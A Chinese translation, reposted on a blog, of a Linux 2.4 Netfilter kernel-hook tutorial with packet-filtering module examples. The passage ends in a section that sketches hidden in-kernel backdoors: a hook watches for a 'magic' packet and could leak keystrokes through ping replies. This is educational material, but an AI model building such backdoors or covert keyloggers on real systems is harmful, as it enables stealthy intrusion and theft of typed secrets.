Netfilter 详解
生活随笔
收集整理的這篇文章主要介紹了
Netfilter 详解
小編覺(jué)得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.
其他不錯(cuò)的文章:
http://bbs.chinaunix.net/thread-2196854-1-1.html
引用:
http://blog.chinaunix.net/uid-24977843-id-2983321.html
1 - 簡(jiǎn)介 1.1 - 本文涉及的內(nèi)容 1.2 - 本文不涉及的內(nèi)容 2 - 各種Netfilter hook及其用法 2.1 - Linux內(nèi)核對(duì)數(shù)據(jù)包的處理 2.2 - Netfilter對(duì)IPv4的hook 3 - 注冊(cè)和注銷(xiāo)Netfilter hook 4 - Netfilter 基本的數(shù)據(jù)報(bào)過(guò)濾技術(shù)[1] 4.1 - 深入hook函數(shù) 4.2 - 基于接口進(jìn)行過(guò)濾 4.3 - 基于地址進(jìn)行過(guò)濾 4.4 - 基于TCP端口進(jìn)行過(guò)濾 5 - Netfilter hook的其它可能用法 5.1 - 隱藏后門(mén)的守護(hù)進(jìn)程 5.2 - 基于內(nèi)核的FTP密碼嗅探器 5.2.1 - 源代碼 : nfsniff.c 5.2.2 - 源代碼 : getpass.c 6 - 在Libpcap中隱藏網(wǎng)絡(luò)通信 6.1 - SOCK_PACKET、SOCK_RAW與Libpcap 6.2 - 給狼披上羊皮 7 - 結(jié)束語(yǔ) A - 輕量級(jí)防火墻 A.1 - 概述 A.2 - 源代碼 : lwfw.c A.3 - 頭文件 : lwfw.h B - 第6節(jié)中的源代碼
--[ 1 - 簡(jiǎn)介
本文將向你展示,Linux的網(wǎng)絡(luò)堆棧的一些怪異行為(并不一定是弱點(diǎn))如何被用于邪惡的或者是其它形形色色的目的。在這里將要討論的是將表面上看起來(lái)合法的Netfilter hook用于后門(mén)的通信,以及一種使特定的網(wǎng)絡(luò)通信在運(yùn)行于本機(jī)的基于Libpcap的嗅探器中消聲匿跡的技術(shù)。 Netfilter是Linux 2.4內(nèi)核的一個(gè)子系統(tǒng),Netfiler使得諸如數(shù)據(jù)包過(guò)濾、網(wǎng)絡(luò)地址轉(zhuǎn)換(NAT)以及網(wǎng)絡(luò)連接跟蹤等技巧成為可能,這些功能僅通過(guò)使用內(nèi)核網(wǎng)絡(luò)代碼 提供的各式各樣的hook既可以完成。這些hook位于內(nèi)核代碼中,要么是靜態(tài)鏈接的,要么是以動(dòng)態(tài)加載的模塊的形式存在。可以為指定的網(wǎng)絡(luò)事件注冊(cè)相應(yīng) 的回調(diào)函數(shù),數(shù)據(jù)包的接收就是這樣一個(gè)例子。
----[ 1.1 - 本文涉及的內(nèi)容 本文討論模塊編寫(xiě)者如何利用Netfilter hook來(lái)實(shí)現(xiàn)任意目的以及如何將將網(wǎng)絡(luò)通信在基于Libpcap的應(yīng)用程序中隱藏。雖然Linux 2.4支持對(duì)IPv4、IPv6以及DECnet的hook,但在本文中將只討論關(guān)于IPv4的話題,雖然如此,大部分關(guān)于IPv4的內(nèi)容都同樣可以運(yùn)用 于其它幾種協(xié)議。出于教學(xué)的目的,附錄A提供了一個(gè)可用的、提供基本的包過(guò)濾的內(nèi)核模塊。本文中所有的開(kāi)發(fā)和試驗(yàn)都在運(yùn)行于Intel主機(jī)上的Linux 2.4.5中完成。對(duì)Netfilter hook功能的測(cè)試在環(huán)回接口、以太網(wǎng)接口以及調(diào)制解調(diào)器點(diǎn)對(duì)點(diǎn)接口上完成。 本文也是出于我對(duì)Netfilter完全理解的嘗試的興趣而寫(xiě)的。我并不能保證文中附帶的任何代碼100%的沒(méi)有錯(cuò)誤,但是我已經(jīng)測(cè)試了所有 在這里提供的代碼。我已經(jīng)受夠了核心錯(cuò)誤的折磨,因此真誠(chéng)的希望你不會(huì)再如此。同樣,我不會(huì)為任何按照本文所述進(jìn)行的操作中可能發(fā)生的損害承擔(dān)責(zé)任。本文 假定讀者熟悉C語(yǔ)言編程并且有一定的關(guān)于可加載模塊的經(jīng)驗(yàn)。 歡迎對(duì)本文中出現(xiàn)的錯(cuò)誤進(jìn)行批評(píng)指正,我同時(shí)開(kāi)誠(chéng)布公的接受對(duì)本文的改進(jìn)以及其它各種關(guān)于Netfilter的優(yōu)秀技巧的建議。 ---- [ 1.2 - 本文不涉及的內(nèi)容
本文不是一個(gè)完全的關(guān)于Netfilter的細(xì)節(jié)上的參考資料,同樣,也不是一個(gè)關(guān)于iptables的命令的參考資料。如果你想了解更多的關(guān)于iptables的命令,請(qǐng)參考相關(guān)的手冊(cè)頁(yè)。 好了,讓我們從Netfilter的使用介紹開(kāi)始 ...
--[ 2 - 各種Netfilter hook及其用法 ----[ 2.1 - Linux內(nèi)核對(duì)數(shù)據(jù)包的處理 看起來(lái)好像是我很喜歡深入到諸如Linux的數(shù)據(jù)包處理以及事件的發(fā)生以及跟蹤每一個(gè)Netfilter hook這樣的血淋淋的細(xì)節(jié)中,事實(shí)并非如此!原因很簡(jiǎn)單,Harald Welte已經(jīng)寫(xiě)了一篇關(guān)于這個(gè)話題的優(yōu)秀的文章??《Journey ?of a Packet Through the Linux 2.4 Network Stack》。如果你想了解更多的關(guān)于Linux數(shù)據(jù)包處理的內(nèi)容,我強(qiáng)烈推薦你去拜讀這篇文章。現(xiàn)在,僅需要理解:當(dāng)數(shù)據(jù)包游歷Linux內(nèi)核的網(wǎng)絡(luò)堆棧時(shí),它穿過(guò)了幾個(gè)hook點(diǎn),在這里,數(shù)據(jù)包可以被分析并且選擇是保留還是丟棄,這些hook點(diǎn)就是Netfilter hook。
----[ 2.2 - Netfilter對(duì)IPv4的hook
Netfilter中定義了五個(gè)關(guān)于IPv4的hook,對(duì)這些符號(hào)的聲明可以在linux/netfilter_ipv4.h中找到。這些hook列在下面的表中: 表1 : 可用的IPv4 hook
Hook ? ? ? ? ? ? ? ?調(diào)用的時(shí)機(jī) NF_IP_PRE_ROUTING ? ?在完整性校驗(yàn)之后,選路確定之前 NF_IP_LOCAL_IN ? ? ? ?在選路確定之后,且數(shù)據(jù)包的目的是本地主機(jī) NF_IP_FORWARD ? ? ? ?目的地是其它主機(jī)地?cái)?shù)據(jù)包 NF_IP_LOCAL_OUT ? ? ? ?來(lái)自本機(jī)進(jìn)程的數(shù)據(jù)包在其離開(kāi)本地主機(jī)的過(guò)程中 NF_IP_POST_ROUTING ? ?在數(shù)據(jù)包離開(kāi)本地主機(jī)“上線”之前
NF_IP_PRE_ROUTING這個(gè)hook是數(shù)據(jù)包被接收到之后調(diào)用的第一個(gè)hook,這個(gè)hook既是稍后將要描述的模塊所用到的。當(dāng)然,其它的hook同樣非常有用,但是在這里,我們的焦點(diǎn)是在NF_IP_PRE_ROUTING這個(gè)hook上。
在hook函數(shù)完成了對(duì)數(shù)據(jù)包所需的任何的操作之后,它們必須返回下列預(yù)定義的Netfilter返回值中的一個(gè): 表2 : Netfilter返回值
返回值 ? ? ? ? ? ? ? ?含義 NF_DROP ? ? ? ? ? ? ? ?丟棄該數(shù)據(jù)包 NF_ACCEPT ? ? ? ? ? ?保留該數(shù)據(jù)包 NF_STOLEN ? ? ? ? ? ?忘掉該數(shù)據(jù)包 NF_QUEUE ? ? ? ? ? ?將該數(shù)據(jù)包插入到用戶空間 NF_REPEAT ? ? ? ? ? ?再次調(diào)用該hook函數(shù)
NF_DROP這個(gè)返回值的含義是該數(shù)據(jù)包將被完全的丟棄,所有為它分配的資源都應(yīng)當(dāng)被釋放。NF_ACCEPT這個(gè)返回值告訴Netfilter:到目前為止,該數(shù)據(jù)包還是被接受的并且該數(shù)據(jù)包應(yīng)當(dāng)被遞交到網(wǎng)絡(luò)堆棧的下一個(gè)階段。NF_STOLEN是一個(gè)有趣的返回值,因?yàn)樗嬖VNetfilter,“忘掉”這個(gè)數(shù)據(jù)包。這里告訴Netfilter的是:該hook函數(shù)將從此開(kāi)始對(duì)數(shù)據(jù)包的處理,并且Netfilter應(yīng)當(dāng)放棄對(duì)該數(shù)據(jù)包做任何的處理。但是,這并不意味著該數(shù)據(jù)包的資源已經(jīng)被釋放。這個(gè)數(shù)據(jù)包以及它獨(dú)自的sk_buff數(shù)據(jù)結(jié)構(gòu)仍然有效,只是hook函數(shù)從Netfilter獲取了該數(shù)據(jù)包的所有權(quán)。不幸的是,我還不是完全的清楚NF_QUEUE到底是如果工作的,因此在這里我不討論它。最后一個(gè)返回值NF_REPEAT請(qǐng)求Netfilter再次調(diào)用這個(gè)hook函數(shù)。顯然,使用者應(yīng)當(dāng)謹(jǐn)慎使用NF_REPEAT這個(gè)返回值,以免造成死循環(huán)。 --[3 - 注冊(cè)和注銷(xiāo)Netfilter hook
注冊(cè)一個(gè)hook函數(shù)是圍繞nf_hook_ops數(shù)據(jù)結(jié)構(gòu)的一個(gè)非常簡(jiǎn)單的操作,nf_hook_ops數(shù)據(jù)結(jié)構(gòu)在linux/netfilter.h中定義,該數(shù)據(jù)結(jié)構(gòu)的定義如下:
struct nf_hook_ops { struct list_head list;
nf_hookfn *hook; int pf; int hooknum; int priority; };
該數(shù)據(jù)結(jié)構(gòu)中的list成員用于維護(hù)Netfilter hook的列表,并且不是用戶在注冊(cè)hook時(shí)需要關(guān)心的重點(diǎn)。hook成員是一個(gè)指向nf_hookfn類(lèi)型的函數(shù)的指針,該函數(shù)是這個(gè)hook被調(diào)用 時(shí)執(zhí)行的函數(shù)。nf_hookfn同樣在linux/netfilter.h中定義。pf這個(gè)成員用于指定協(xié)議族。有效的協(xié)議族在linux /socket.h中列出,但對(duì)于IPv4我們希望使用協(xié)議族PF_INET。hooknum這個(gè)成員用于指定安裝的這個(gè)函數(shù)對(duì)應(yīng)的具體的hook類(lèi)型, 其值為表1中列出的值之一。最后,priority這個(gè)成員用于指定在執(zhí)行的順序中,這個(gè)hook函數(shù)應(yīng)當(dāng)在被放在什么地方。對(duì)于IPv4,可用的值在 linux/netfilter_ipv4.h的nf_ip_hook_priorities枚舉中定義。出于示范的目的,在后面的模塊中我們將使用 NF_IP_PRI_FIRST。 注冊(cè)一個(gè)Netfilter hook需要調(diào)用nf_register_hook()函數(shù),以及用到一個(gè)nf_hook_ops數(shù)據(jù)結(jié)構(gòu)。nf_register_hook()函數(shù)以 一個(gè)nf_hook_ops數(shù)據(jù)結(jié)構(gòu)的地址作為參數(shù)并且返回一個(gè)整型的值。但是,如果你真正的看了在net/core/netfilter.c中的 nf_register_hook()函數(shù)的實(shí)現(xiàn)代碼,你會(huì)發(fā)現(xiàn)該函數(shù)總是返回0。以下提供的是一個(gè)示例代碼,該示例代碼簡(jiǎn)單的注冊(cè)了一個(gè)丟棄所有到達(dá)的 數(shù)據(jù)包的函數(shù)。該代碼同時(shí)展示了Netfilter的返回值如何被解析。
示例代碼1 : Netfilter hook的注冊(cè)
#define __KERNEL__ #define MODULE
#include <linux/module.h> ? #include <linux/kernel.h>? #include <linux/netfilter.h>? #include <linux/netfilter_ipv4.h>?
static struct nf_hook_ops nfho;
unsigned int hook_func(unsigned int hooknum, struct sk_buff **skb, const struct net_device *in, const struct net_device *out, int (*okfn)(struct sk_buff *)) { return NF_DROP; ? ? ? ? ? }
int init_module() { nfho.hook = hook_func; ? ? ? ? nfho.hooknum ?= NF_IP_PRE_ROUTING; nfho.pf ? ? ? = PF_INET; nfho.priority = NF_IP_PRI_FIRST; ?
nf_register_hook(&nfho);
return 0; }
void cleanup_module() { nf_unregister_hook(&nfho); }
這就是全部?jī)?nèi)容,從示例代碼1中,你可以看到,注銷(xiāo)一個(gè)Netfilter hook是一件很簡(jiǎn)單事情,只需要調(diào)用nf_unregister_hook()函數(shù),并且以你之前用于注冊(cè)這個(gè)hook時(shí)用到的相同的數(shù)據(jù)結(jié)構(gòu)的地址作為參數(shù)。
-- [4 - Netfilter 基本的數(shù)據(jù)報(bào)過(guò)濾技術(shù) ---- [4.1 - 深入hook函數(shù)
現(xiàn)在是到了看看什么數(shù)據(jù)被傳遞到hook函數(shù)中以及這些數(shù)據(jù)如何被用于做過(guò)濾選擇的時(shí)候了。那么,讓我們更深入的看看nf_hookfn函數(shù)的原型吧。這個(gè)函數(shù)原型在linux/netfilter.h中給出,如下:
typedef unsigned int nf_hookfn(unsigned int hooknum, struct sk_buff **skb, const struct net_device *in, const struct net_device *out, int (*okfn)(struct sk_buff *));
nf_hookfn函數(shù)的第一個(gè)參數(shù)用于指定表1中給出的hook類(lèi)型中的一個(gè)。第二個(gè)參數(shù)更加有趣,它是一個(gè)指向指針的指針,該指針指向的 指針指向一個(gè)sk_buff數(shù)據(jù)結(jié)構(gòu),網(wǎng)絡(luò)堆棧用sk_buff數(shù)據(jù)結(jié)構(gòu)來(lái)描述數(shù)據(jù)包。這個(gè)數(shù)據(jù)結(jié)構(gòu)在linux/skbuff.h中定義,由于它的內(nèi)容 太多,在這里我將僅列出其中有意義的部分。
sk_buff數(shù)據(jù)結(jié)構(gòu)中最有用的部分可能就是那三個(gè)描述傳輸層包頭(例如:UDP, TCP, ICMP, SPX)、網(wǎng)絡(luò)層包頭(例如:IPv4/6, IPX, RAW)以及鏈路層包頭(例如:以太網(wǎng)或者RAW)的聯(lián)合(union)了。這三個(gè)聯(lián)合的名字分別是h、nh以及mac。這些聯(lián)合包含了幾個(gè)結(jié)構(gòu),依賴于 具體的數(shù)據(jù)包中使用的協(xié)議。使用者應(yīng)當(dāng)注意:傳輸層包頭和網(wǎng)絡(luò)層包頭可能是指向內(nèi)存中的同一個(gè)位置。這是TCP數(shù)據(jù)包可能出現(xiàn)的情況,其中h和nh都應(yīng)當(dāng) 被看作是指向IP頭結(jié)構(gòu)的指針。這意味著嘗試通過(guò)h->th獲取一個(gè)值,并認(rèn)為該指針指向一個(gè)TCP頭,將會(huì)得到錯(cuò)誤的結(jié)果。因?yàn)閔->th 實(shí)際上是指向的IP頭,與nh->iph得到的結(jié)果相同。
接下來(lái)讓我們感興趣的其它部分是len和data這兩個(gè)域。len指定了從data開(kāi)始的數(shù)據(jù)包中的數(shù)據(jù)的總長(zhǎng)度。好了,現(xiàn)在我們知道如何在sk_buff數(shù)據(jù)結(jié)構(gòu)中分別訪問(wèn)協(xié)議頭和數(shù)據(jù)包中的數(shù)據(jù)了。Netfilter hook函數(shù)中有用的信息中其它的有趣的部分是什么呢?
緊跟在skb之后的兩個(gè)參數(shù)是指向net_device數(shù)據(jù)結(jié)構(gòu)的指針,net_device數(shù)據(jù)結(jié)構(gòu)被Linux內(nèi)核用于描述所有類(lèi)型的網(wǎng) 絡(luò)接口。這兩個(gè)參數(shù)中的第一個(gè)??in,用于描述數(shù)據(jù)包到達(dá)的接口,毫無(wú)疑問(wèn),參數(shù)out用于描述數(shù)據(jù)包離開(kāi)的接口。必須明白,在通常情況下,這兩個(gè)參數(shù) 中將只有一個(gè)被提供。例如:參數(shù)in只用于NF_IP_PRE_ROUTING和NF_IP_LOCAL_IN hook,參數(shù)out只用于NF_IP_LOCAL_OUT和NF_IP_POST_ROUTING hook。在這一個(gè)階段中,我還沒(méi)有測(cè)試對(duì)于NF_IP_FORWARD hook,這兩個(gè)參數(shù)中哪些是有效的,但是如果你能在使用之前先確定這些指針是非空的,那么你是非常優(yōu)秀的!
最后,傳遞給hook函數(shù)的最后一個(gè)參數(shù)是一個(gè)命名為okfn函數(shù)指針,該函數(shù)以一個(gè)sk_buff數(shù)據(jù)結(jié)構(gòu)作為它唯一的參數(shù),并且返回一個(gè)整型的值。我不是很確定這個(gè)函數(shù)是干什么用的,在net/core/netfilter.c中查看,有兩個(gè)地方調(diào)用了這個(gè)okfn函數(shù)。這兩個(gè)地方是分別在函數(shù)nf_hook_slow()中以及函數(shù)nf_reinject()中,在其中的某個(gè)位置,當(dāng)Netfilter hook的返回值為NF_ACCEPT時(shí)被調(diào)用。如果任何人有更多的關(guān)于okfn函數(shù)的信息,請(qǐng)務(wù)必告知。 ** 譯注:Linux核心網(wǎng)絡(luò)堆棧中有一個(gè)全局變量 : struct list_head nf_hooks[NPROTO][NF_MAX_HOOKS],該變量是一個(gè)二維數(shù)組,其中第一維用于指定協(xié)議族,第二維用于指定hook的類(lèi)型(表1中定義的類(lèi)型)。注冊(cè)一個(gè)Netfilter hook實(shí)際就是在由協(xié)議族和hook類(lèi)型確定的鏈表中添加一個(gè)新的節(jié)點(diǎn)。 以下代碼摘自 net/core/netfilter,nf_register_hook()函數(shù)的實(shí)現(xiàn): int nf_register_hook(struct nf_hook_ops *reg) { struct list_head *i;
br_write_lock_bh(BR_NETPROTO_LOCK); for (i = nf_hooks[reg->pf][reg->hooknum].next;? i != &nf_hooks[reg->pf][reg->hooknum];? i = i->next) { if (reg->priority < ((struct nf_hook_ops *)i)->priority) break; } list_add(?->list, i->prev); br_write_unlock_bh(BR_NETPROTO_LOCK); return 0; }
Netfilter中定義了一個(gè)宏NF_HOOK,作者在前面提到的nf_hook_slow()函數(shù)實(shí)際上就是NF_HOOK宏定義替換的 對(duì)象,在NF_HOOK中執(zhí)行注冊(cè)的hook函數(shù)。NF_HOOK在Linux核心網(wǎng)絡(luò)堆棧的適當(dāng)?shù)牡胤揭赃m當(dāng)?shù)膮?shù)調(diào)用。例如,在ip_rcv()函數(shù) (位于net/ipv4/ip_input.c)的最后部分,調(diào)用NF_HOOK函數(shù),執(zhí)行NF_IP_PRE_ROUTING類(lèi)型的hook。 ip_rcv()是Linux核心網(wǎng)絡(luò)堆棧中用于接收IPv4數(shù)據(jù)包的主要函數(shù)。在NF_HOOK的參數(shù)中,頁(yè)包含一個(gè)okfn函數(shù)指針,該函數(shù)是用于數(shù) 據(jù)包被接收后完成后續(xù)的操作,例如在ip_rcv中調(diào)用的NF_HOOK中的okfn函數(shù)指針指向ip_rcv_finish()函數(shù)(位于 net/ipv4/ip_input.c),該函數(shù)用于IP數(shù)據(jù)包被接收后的諸如IP選項(xiàng)處理等后續(xù)處理。 如果在內(nèi)核編譯參數(shù)中取消CONFIG_NETFILTER宏定義,NF_HOOK宏定義直接被替換為okfn,內(nèi)核代碼中的相關(guān)部分如下(linux/netfilter.h):
#ifdef CONFIG_NETFILTER ... #ifdef CONFIG_NETFILTER_DEBUG #define NF_HOOK nf_hook_slow #else #define NF_HOOK(pf, hook, skb, indev, outdev, okfn) ? ? ? ? ? ?\ (list_empty(&nf_hooks[(pf)][(hook)]) ? ? ? ? ? ? ? ? ? ?\ ? (okfn)(skb) ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?\ : nf_hook_slow((pf), (hook), (skb), (indev), (outdev), (okfn))) #endif ... #else #define NF_HOOK(pf, hook, skb, indev, outdev, okfn) (okfn)(skb) #endif 可見(jiàn)okfn函數(shù)是必不可少的,當(dāng)Netfilter被啟用時(shí),它用于完成接收的數(shù)據(jù)包后的后續(xù)操作,如果不啟用Netfilter做數(shù)據(jù)包過(guò)濾,則所有的數(shù)據(jù)包都被接受,直接調(diào)用該函數(shù)做后續(xù)操作。 ** 譯注完 現(xiàn)在,我們已經(jīng)了解了我們的hook函數(shù)接收到的信息中最有趣和最有用的部分,是該看看我們?nèi)绾我愿鞣N各樣的方式來(lái)利用這些信息來(lái)過(guò)濾數(shù)據(jù)包的時(shí)候了! ----[4.2 - 基于接口進(jìn)行過(guò)濾
這應(yīng)該是我們能做的最簡(jiǎn)單的過(guò)濾技術(shù)了。還記得我們的hook函數(shù)接收的參數(shù)中的那些net_device數(shù)據(jù)結(jié)構(gòu)嗎?使用相應(yīng)的 net_device數(shù)據(jù)結(jié)構(gòu)的name這個(gè)成員,你就可以根據(jù)數(shù)據(jù)包的源接口和目的接口來(lái)選擇是否丟棄它。如果想丟棄所有到達(dá)接口eth0的數(shù)據(jù)包,所 有你需要做的僅僅是將in->name的值與"eth0"做比較,如果名字匹配,那么hook函數(shù)簡(jiǎn)單的返回NF_DROP即可,數(shù)據(jù)包會(huì)被自動(dòng)銷(xiāo) 毀。就是這么簡(jiǎn)單!完成該功能的示例代碼見(jiàn)如下的示例代碼2。注意,Light-Weight FireWall模塊將會(huì)提供所有的本文提到的過(guò)濾方法的簡(jiǎn)單示例。它還包含了一個(gè)IOCTL接口以及用于動(dòng)態(tài)改變其特性的應(yīng)用程序。 示例代碼2 : 基于源接口的數(shù)據(jù)包過(guò)濾
#define __KERNEL__ #define MODULE #include? #include? #include? #include? #include? static struct nf_hook_ops nfho;
static char *drop_if = "lo";
unsigned int hook_func(unsigned int hooknum, struct sk_buff **skb, const struct net_device *in, const struct net_device *out, int (*okfn)(struct sk_buff *)) { if (strcmp(in->name, drop_if) == 0) { printk("Dropped packet on %s...\n", drop_if); return NF_DROP; } else { return NF_ACCEPT; } }
int init_module() { nfho.hook ? ? = hook_func; ? ? ? ? nfho.hooknum ?= NF_IP_PRE_ROUTING; nfho.pf ? ? ? = PF_INET; nfho.priority = NF_IP_PRI_FIRST; ?
nf_register_hook(&nfho); return 0; } void cleanup_module() { nf_unregister_hook(&nfho); }
是不是很簡(jiǎn)單?接下來(lái),讓我們看看基于IP地址的過(guò)濾。
----[ 4.3 - 基于地址進(jìn)行過(guò)濾
與根據(jù)數(shù)據(jù)包的接口進(jìn)行過(guò)濾類(lèi)似,基于數(shù)據(jù)包的源或目的IP地址進(jìn)行過(guò)濾同樣簡(jiǎn)單。這次我們感興趣的是sk_buff數(shù)據(jù)結(jié)構(gòu)。還記得skb 參數(shù)是一個(gè)指向sk_buff數(shù)據(jù)結(jié)構(gòu)的指針的指針嗎?為了避免犯錯(cuò)誤,聲明一個(gè)另外的指向skb_buff數(shù)據(jù)結(jié)構(gòu)的指針并且將skb指針指向的指針賦 值給這個(gè)新的指針是一個(gè)好習(xí)慣,就像這樣: struct sk_buff *sb = *skb; ? ? ...
static int check_ip_packet(struct sk_buff *skb) { if (!skb )return NF_ACCEPT; if (!(skb->nh.iph)) return NF_ACCEPT; if (skb->nh.iph->saddr == *(unsigned int *)deny_ip) {? return NF_DROP; }
return NF_ACCEPT; } 這樣,如果數(shù)據(jù)包的源地址與我們?cè)O(shè)定的丟棄數(shù)據(jù)包的地址匹配,那么該數(shù)據(jù)包將被丟棄。為了使這個(gè)函數(shù)能按預(yù)期的方式工作,deny_ip的值應(yīng)當(dāng)以網(wǎng)絡(luò)字節(jié)序(Big-endian,與Intel相反)存放。雖然這個(gè)函數(shù)不太可能以一個(gè)空的指針作為參數(shù)來(lái)調(diào)用,帶一點(diǎn)點(diǎn)偏執(zhí)狂從來(lái)不會(huì)有什么壞處。當(dāng)然,如果錯(cuò)誤確實(shí)發(fā)生了,那么該函數(shù)將會(huì)返回NF_ACCEPT。這樣Netfilter可以繼續(xù)處理這個(gè)數(shù)據(jù)包。示例代碼4展現(xiàn)了用于演示將基于接口的過(guò)濾略做修改以丟棄匹配給定IP地址的數(shù)據(jù)包的簡(jiǎn)單模塊。 示例代碼4 : 基于數(shù)據(jù)包源地址的過(guò)濾
#define __KERNEL__ #define MODULE
#include? #include? #include? #include ? ? ? ? ? ? ? ? ? #include? #include?
static struct nf_hook_ops nfho;
static unsigned char *drop_ip = "\x7f\x00\x00\x01";
unsigned int hook_func(unsigned int hooknum, struct sk_buff **skb, const struct net_device *in, const struct net_device *out, int (*okfn)(struct sk_buff *)) { struct sk_buff *sb = *skb; // 譯注:作者提供的代碼中比較地址是否相同的方法是錯(cuò)誤的,見(jiàn)注釋掉的部分 if (sb->nh.iph->saddr == *(unsigned int *)drop_ip) { // if (sb->nh.iph->saddr == drop_ip) { printk("Dropped packet from... %d.%d.%d.%d\n", *drop_ip, *(drop_ip + 1), *(drop_ip + 2), *(drop_ip + 3)); return NF_DROP; } else { return NF_ACCEPT; } }
int init_module() { nfho.hook ? ? ? = hook_func; ? ? ? ? nfho.hooknum ?= NF_IP_PRE_ROUTING; nfho.pf ? ? ? = PF_INET; nfho.priority = NF_IP_PRI_FIRST; ?
nf_register_hook(&nfho);
return 0; }
void cleanup_module() { nf_unregister_hook(&nfho); }
----[ 4.4 - 基于TCP端口進(jìn)行過(guò)濾
另一個(gè)要實(shí)現(xiàn)的簡(jiǎn)單規(guī)則是基于數(shù)據(jù)包的TCP目的端口進(jìn)行過(guò)濾。這只比檢查IP地址的要求要高一點(diǎn)點(diǎn),因?yàn)槲覀冃枰约簞?chuàng)建一個(gè)TCP頭的指 針。還記得我們前面討論的關(guān)于傳輸層包頭與網(wǎng)絡(luò)層包頭的內(nèi)容嗎?獲取一個(gè)TCP頭的指針是一件簡(jiǎn)單的事情??分配一個(gè)tcphdr數(shù)據(jù)結(jié)構(gòu)(在 linux/tcp.h中定義)的指針,并將它指向我們的數(shù)據(jù)包中IP頭之后的數(shù)據(jù)。或許一個(gè)例子的幫助會(huì)更大一些,示例代碼5給出了檢查數(shù)據(jù)包的TCP 目的端口是否與某個(gè)我們要丟棄數(shù)據(jù)包的端口匹配的代碼。與示例代碼3一樣,這些代碼摘自LWFW。 示例代碼5 : 檢查收到的數(shù)據(jù)包的TCP目的端口 unsigned char *deny_port = "\x00\x19"; ?
...
static int check_tcp_packet(struct sk_buff *skb) { struct tcphdr *thead;
if (!skb ) return NF_ACCEPT; if (!(skb->nh.iph)) return NF_ACCEPT;
if (skb->nh.iph->protocol != IPPROTO_TCP) { return NF_ACCEPT; }
thead = (struct tcphdr *)(skb->data + (skb->nh.iph->ihl * 4));
if ((thead->dest) == *(unsigned short *)deny_port) { return NF_DROP; } return NF_ACCEPT; }
確實(shí)很簡(jiǎn)單!不要忘了,要讓這個(gè)函數(shù)工作,deny_port必須是網(wǎng)絡(luò)字節(jié)序。這就是數(shù)據(jù)包過(guò)濾的基礎(chǔ)了,你應(yīng)當(dāng)已經(jīng)清楚的理解了對(duì)于一個(gè)特定的數(shù)據(jù)包,如何獲取你想要的信息。現(xiàn)在,是該進(jìn)入更有趣的內(nèi)容的時(shí)候了!
--[ 5 - Netfilter hook的其它可能用法
在這里,我將提出其它很酷的利用Netfilter hook的點(diǎn)子,5.1節(jié)將簡(jiǎn)單的給出精神食糧,而5.2節(jié)將討論和給出可以工作的基于內(nèi)核的FTP密碼嗅探器的代碼,它的遠(yuǎn)程密碼獲取功能是確實(shí)可用的。事實(shí)上,它工作的令我吃驚的好,并且我編寫(xiě)了它。 ----[ 5.1 - 隱藏后門(mén)的守護(hù)進(jìn)程
核心模塊編程也許是Linux開(kāi)發(fā)中最有趣的部分之一了,在內(nèi)核中編寫(xiě)代碼意味著你在一個(gè)僅受限于你的想象力的地方寫(xiě)代碼。以惡意的觀點(diǎn)來(lái) 看,你可以隱藏文件、進(jìn)程,并且做各式各樣很酷的,任何的rootkit能夠做的事情。那么,以不太惡意的觀點(diǎn)來(lái)看(是的,持這中觀點(diǎn)人們的確存在),你 可以隱藏文件、進(jìn)程以及干各式各樣的事情。內(nèi)核真是一個(gè)迷人的樂(lè)園! 有了賦予內(nèi)核級(jí)程序員的強(qiáng)大力量,很多事情成為可能。其中最有趣的(也是讓系統(tǒng)管理員恐慌的)一個(gè)就是嵌入到內(nèi)核中的后門(mén)。畢竟,如果后門(mén)不 作為一個(gè)進(jìn)程運(yùn)行,那么我們?cè)趺粗浪倪\(yùn)行?當(dāng)然,還是有辦法讓你的內(nèi)核揪出這樣的后門(mén)來(lái),但是它們可不像運(yùn)行ps命令一樣容易和簡(jiǎn)單。現(xiàn)今,將后門(mén)代 碼放到內(nèi)核中去的點(diǎn)子已經(jīng)并不新鮮了。但是,我在這里所提出的是安放一個(gè)用作內(nèi)核后門(mén)的簡(jiǎn)單的網(wǎng)絡(luò)服務(wù)。你猜對(duì)了,正是Netfilter hook! 如果你已經(jīng)具備必要的技能并且情愿以做試驗(yàn)的名義使你的內(nèi)核崩潰,那么你就可以構(gòu)建簡(jiǎn)單但是有用的,完全位于內(nèi)核中的,可以遠(yuǎn)程訪問(wèn)的網(wǎng)絡(luò)服務(wù)了。基本上一個(gè)Netfilter hook可以通過(guò)觀察收到的數(shù)據(jù)包來(lái)查找一個(gè)“魔法”數(shù)據(jù)包,并且當(dāng)接收到這個(gè)“魔法”數(shù)據(jù)包時(shí)干指定的事情。結(jié)果可以通過(guò)Netfilter hook來(lái)發(fā)送。并且該hook函數(shù)可以返回NF_STOLEN,以使得收到的“魔法”數(shù)據(jù)包可以走得更遠(yuǎn)。但是要注意,當(dāng)以這種方式來(lái)發(fā)送時(shí),輸出數(shù)據(jù)包對(duì)于輸出Netfilter hook仍然是可見(jiàn)的。因此用戶空間完全不知道這個(gè)“魔法”數(shù)據(jù)包的曾經(jīng)到達(dá),但是它們還是能看到你送所出的。當(dāng)心!因?yàn)樵谛姑苤鳈C(jī)上的嗅探器不能看到這個(gè)包并不意味著在其它中間宿主主機(jī)上的嗅探器也看不到這個(gè)包。 kossak與lifeline曾為Phrack寫(xiě)了一篇精彩的文章,該文描述了如何通過(guò)注冊(cè)數(shù)據(jù)包類(lèi)型處理器來(lái)完成這樣的功能。雖然本文涉及的是Netfilter hook,我仍然建議閱讀他們的這篇文章(第55期,文件12),因?yàn)樗且黄o出了一些非常有趣的點(diǎn)子的有趣讀物。 那么,后門(mén)Netfilter hook可以干些什么工作呢?以下是一些建議: -- 遠(yuǎn)程訪問(wèn)擊鍵記錄器(key-logger)。模塊記錄擊鍵,并且當(dāng)遠(yuǎn)程主機(jī)發(fā)送一個(gè)PING請(qǐng)求時(shí),結(jié)果被送到該主機(jī)。這樣,可以生成一個(gè)類(lèi)似于穩(wěn)定的 (非洪水的)PING應(yīng)答流的擊鍵信息的流。當(dāng)然,你可能想要實(shí)現(xiàn)一個(gè)簡(jiǎn)單的加密,這樣,ASCII鍵不會(huì)立即暴露它們自己,并且某些警覺(jué)的系統(tǒng)管理員會(huì) 想:“堅(jiān)持,我以前都是通過(guò)我的SSH會(huì)話來(lái)鍵入那些的!Oh $%@T%&!”。 -- 